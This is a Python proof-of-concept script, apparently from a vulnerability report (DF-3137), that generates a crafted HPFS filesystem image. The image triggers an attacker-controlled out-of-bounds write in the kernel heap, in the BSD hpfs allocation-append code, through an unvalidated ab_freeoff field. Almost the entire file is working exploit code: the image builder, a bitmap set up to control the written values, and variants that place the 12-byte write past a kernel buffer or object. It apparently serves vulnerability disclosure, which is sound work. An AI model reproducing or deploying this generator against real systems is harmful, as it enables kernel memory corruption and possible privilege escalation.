DF-3137 / craft_img.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 | #!/usr/bin/env python3 """ DF-3137 โ crafted HPFS image demonstrating the unvalidated ab_freeoff out-of-bounds write in the allocation-append path of sys/vfs/hpfs/hpfs_alsubr.c. Root cause: ab_freeoff (u_int16_t) is raw on-disk data, never validated (hpfs_vfsops.c:535 bcopy's the fnode in and checks only fn_magic; hpfs_breadalsec checks only AS_MAGIC). It is then used DIRECTLY as the byte offset for new allocation entries: hpfs_addextent :452 AL_SET(AB_FREEALP(rabp), ...) (fnode root -> &hp->h_fn.fn_ab + freeoff inside the kmalloc'd struct hpfsnode) hpfs_addextentr :643 AL_SET(AB_FREEALP(rabp), ...) (AlSec buffer -> bp->b_data + 12 + freeoff, 512-byte buffer) hpfs_concatalsec:278 bcopy(..., AB_FREEANP(ab0p), ...) (dest offset) with AB_FREEALP(abp) == (alleaf_t *)((caddr_t)(abp) + (abp)->ab_freeoff) (hpfs.h:154) and freeoff attacker-chosen in [0, 0xFFFF]. AL_SET (hpfs.h:244) writes a 12-byte alleaf {al_off, al_len, al_lsn}: al_off = ceil(fn_size/512) (attacker-known) al_len = nlen (free-run length, attacker-crafted via the bitmap) al_lsn = nlsn (free-run start, attacker-crafted) => fully-deterministic 12-byte heap OOB write with attacker-chosen contents at an attacker-chosen offset (up to +64KB) past the start of a kmalloc'd kernel object, triggered by a single unprivileged pwrite(2) that extends the file by one extent. Variants: alsec โ trigger lands in hpfs_addextentr:643 (512-byte AlSec b_data); freeoff = 500 puts the 12 bytes exactly at b_data[512..524), i.e. 0 bytes past the end of the buffer. fnode โ trigger lands in hpfs_addextent:452 (struct hpfsnode); freeoff >= ~0x350 writes past the ~850-byte kmalloc object. usage: craft_img.py <out.img> <alsec|fnode> <freeoff> """ import struct, sys SECTOR = 512 IMGSEC = 0x1000 SU_MAGIC = 0xFA53E9C5F995E849 SP_MAGIC = 0xFA5229C5F9911849 FN_MAGIC = 0xF7E40AAE D_MAGIC = 0x77E40AAE AB_NODES = 0x80 FN_OFF_MAGIC, FN_OFF_NAMELEN, FN_OFF_NAME = 0x00, 0x10, 0x11 FN_OFF_PARENT, FN_OFF_FLAG, FN_OFF_AB, FN_OFF_ABD, FN_OFF_SIZE = \ 0x20, 0x3B, 0x3C, 0x44, 0xA4 AB_OFF_FLAG, AB_OFF_FREECNT, AB_OFF_BUSYCNT, AB_OFF_FREEOFF = 0, 4, 5, 6 AS_OFF_AB = 0x0C AS_OFF_ABD = 0x14 def build(outpath, variant, freeoff): img = bytearray(IMGSEC * SECTOR) def wr32(o, v): struct.pack_into('<I', img, o, v & 0xFFFFFFFF) def wr64(o, v): struct.pack_into('<Q', img, o, v & 0xFFFFFFFFFFFFFFFF) def wr16(o, v): struct.pack_into('<H', img, o, v & 0xFFFF) def wr8(o, v): img[o] = v & 0xFF img[0] = 0xEB wr16(SECTOR - 2, 0xAA55) su = 0x10 * SECTOR wr64(su + 0, SU_MAGIC); wr8(su + 8, 2) wr32(su + 12, 0x20) wr32(su + 16, IMGSEC) wr32(su + 20, 0) wr32(su + 24, 0x30); wr32(su + 28, 0x30) wr64(0x11 * SECTOR, SP_MAGIC) wr32(0x30 * SECTOR, 0x38) bm = 0x38 * SECTOR # all busy below 0x200 (incl. sector 0x101 so bmlookup falls through # to the band scan); free run 0x200..0x400 so nlsn=0x200, nlen=run for i in range(0x200): b = bm + (i >> 3) img[b] &= ~(1 << (i & 7)) # leave 0x200..0x3FF free (bitmap defaults to 0 = busy? NO: HPFS # bitmap bit 1 == FREE; fresh img bytes are 0 == all busy, so set 1s) for i in range(0x200, 0x400): b = bm + (i >> 3) img[b] |= (1 << (i & 7)) # sectors >= 0x400 busy (leave zero) rf = 0x20 * SECTOR wr32(rf + FN_OFF_MAGIC, FN_MAGIC) wr8(rf + FN_OFF_NAMELEN, 1); img[rf + FN_OFF_NAME] = ord('.') wr32(rf + FN_OFF_PARENT, 0x20) wr8(rf + FN_OFF_FLAG, 1) img[rf + FN_OFF_AB + AB_OFF_FLAG] = 0 img[rf + FN_OFF_AB + AB_OFF_FREECNT] = 7 img[rf + FN_OFF_AB + AB_OFF_BUSYCNT] = 1 wr16(rf + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 12) wr32(rf + FN_OFF_ABD + 0, 0); wr32(rf + FN_OFF_ABD + 4, 1) wr32(rf + FN_OFF_ABD + 8, 0x40) wr32(rf + FN_OFF_SIZE, 4 * SECTOR) db = 0x40 * SECTOR wr32(db + 0, D_MAGIC); wr32(db + 4, 0x50); wr32(db + 8, 0) wr32(db + 12, 0x20); wr32(db + 16, 0x40) name = b'FILE' dep = db + 20 reclen = ((0x2f + len(name)) + 3) & ~3 wr16(dep + 0x00, reclen); wr16(dep + 0x02, 0) wr32(dep + 0x04, 0x48) wr64(dep + 0x08, 0); wr32(dep + 0x10, 0x10000) wr64(dep + 0x18, 0); wr64(dep + 0x20, 0); wr32(dep + 0x28, 0) img[dep + 0x2e] = len(name) for i, c in enumerate(name): img[dep + 0x2f + i] = c dep2 = dep + reclen wr16(dep2 + 0x00, 4 * SECTOR - (dep2 - db)) wr16(dep2 + 0x02, 0x08) wr32(db + 4, (dep2 + 4) - db) ff = 0x48 * SECTOR wr32(ff + FN_OFF_MAGIC, FN_MAGIC) wr32(ff + FN_OFF_PARENT, 0x20) wr8(ff + FN_OFF_NAMELEN, 4) img[ff + FN_OFF_NAME:ff + FN_OFF_NAME + 4] = b'FILE' wr8(ff + FN_OFF_FLAG, 0) wr32(ff + FN_OFF_SIZE, 512) # al.al_off = 1 (no init path) # "real" leaf[1] used by the post-extend data write so the pwrite # completes normally after the OOB insertion: # {al_off:1, al_len:0x200, al_lsn:0x200} def real_leaf1(base): wr32(base + 8 + 12 + 0, 1) wr32(base + 8 + 12 + 4, 0x200) wr32(base + 8 + 12 + 8, 0x200) if variant == 'alsec': # root fnode: AB_NODES, one alnode -> AlSec C at 0x50 img[ff + FN_OFF_AB + AB_OFF_FLAG] = AB_NODES img[ff + FN_OFF_AB + AB_OFF_FREECNT] = 0xB img[ff + FN_OFF_AB + AB_OFF_BUSYCNT] = 1 wr16(ff + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 8) wr32(ff + FN_OFF_ABD + 0, 0xFFFFFFFF) wr32(ff + FN_OFF_ABD + 4, 0x50) # an_lsn -> C c = 0x50 * SECTOR wr32(c + 0, 0x37E40AAE); wr32(c + 4, 0x50); wr32(c + 8, 0x48) img[c + AS_OFF_AB + AB_OFF_FLAG] = 0 # leaves img[c + AS_OFF_AB + AB_OFF_FREECNT] = 0x28 img[c + AS_OFF_AB + AB_OFF_BUSYCNT] = 1 wr16(c + AS_OFF_AB + AB_OFF_FREEOFF, freeoff) # <<< POISON # leaf[0]: {al_off:0, al_len:1, al_lsn:0x100} wr32(c + AS_OFF_ABD + 0, 0) wr32(c + AS_OFF_ABD + 4, 1) wr32(c + AS_OFF_ABD + 8, 0x100) real_leaf1(c + AS_OFF_AB) else: # root fnode: leaves, poisoned freeoff img[ff + FN_OFF_AB + AB_OFF_FLAG] = 0 img[ff + FN_OFF_AB + AB_OFF_FREECNT] = 7 img[ff + FN_OFF_AB + AB_OFF_BUSYCNT] = 1 wr16(ff + FN_OFF_AB + AB_OFF_FREEOFF, freeoff) # <<< POISON wr32(ff + FN_OFF_ABD + 0, 0) wr32(ff + FN_OFF_ABD + 4, 1) wr32(ff + FN_OFF_ABD + 8, 0x100) real_leaf1(ff + FN_OFF_AB) with open(outpath, 'wb') as f: f.write(img) print("wrote %s: variant=%s freeoff=0x%x -> 12-byte AL_SET write at " "obj+%d" % (outpath, variant, freeoff, 12 + freeoff if variant == 'alsec' else freeoff)) if __name__ == '__main__': build(sys.argv[1], sys.argv[2], int(sys.argv[3], 0)) |